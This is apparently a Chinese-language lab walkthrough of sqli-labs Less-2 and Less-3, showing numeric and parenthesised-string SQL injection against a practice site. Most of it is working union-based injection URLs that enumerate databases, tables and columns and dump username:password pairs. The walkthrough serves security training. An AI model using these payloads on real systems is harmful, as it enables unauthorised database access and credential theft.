Less-2 GET - Error based - Intiger based
从题目来看应该是get型的基于报错的数字型注入
打开第二关如下
如同第一关一样先加单引号通过报错信息判断注入类型
http://www.bj.com/sqli-labs/Less-2/index.php?id=1'
可以看到返回的报错信息是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
这里的错误主要是' LIMIT 0,1
也就是说多了一个单引号,而且这个单引号还是我们自行加上去的。
所以这里可以判断注入点就是数字型了。
如果跟第一关的字符型比较的话,查询语句大概就是
select * from users where id=1 limit 0,1
所以我们添加单引号之后就变成了
select * from users where id=1’ limit 0,1
当然数据库就无法执行要报错啦。
数字型的注入相对于字符型来说要简单许多,因为不需要闭合前面的引号,也不需要注释后面的语句。
还是同第一关一样,先判断当前的查询表的字段数
http://www.bj.com/sqli-labs/Less-2/index.php?id=1 order by 3
order by 3的时候页面显示正常,order by 4的时候就报错了。
所以当前查询的表的字段数依然是3列。接下来就是看显示位了。
http://www.bj.com/sqli-labs/Less-2/index.php?id=-1 union select 1,2,3
可以看到页面还是选择的查询结果集的第2列和第3列。
再来看看用户名和当前的数据库
http://www.bj.com/sqli-labs/Less-2/index.php?id=-1 union select 1,user(),database()
查询所有的数据库名
http://www.bj.com/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
查询security数据库中的所有表名
http://www.bj.com/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
查询users表中的所有字段名
http://www.bj.com/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
查询username、password字段的内容
http://www.bj.com/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(username,':',password) from security.users
Less-3 GET - Error based - Single quotes with twist - string
看题目的意思是get型的基于报错的单引号变型的字符型注入。
打开第三关如下
首先添加单引号通过报错判断注入的类型
http://www.bj.com/sqli-labs/Less-3/index.php?id=1'
可以看到这里的报错似乎不太一样,返回的报错信息是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
具体的错误是'1'') LIMIT 0,1
也就是说此处多了一个单引号,原来的格式应该是id=(‘1’)
确实可以说是单引号的变型了,因为单引号的外部还用()括起来了。那么针对这种情况我们肯定是需要闭合前面的(‘并且注释掉后面的语句才行。
首先判断当前表的字段数
http://www.bj.com/sqli-labs/Less-3/index.php?id=1') order by 3 --+
order by 3时页面正常,order by 4时报错了。
可以判断字段数为3,接下来判断页面显示位
http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,3 --+
可以看到显示位依然是2,3。后面的步骤就同上了。
http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,group_concat(username,':',password) from security.users --+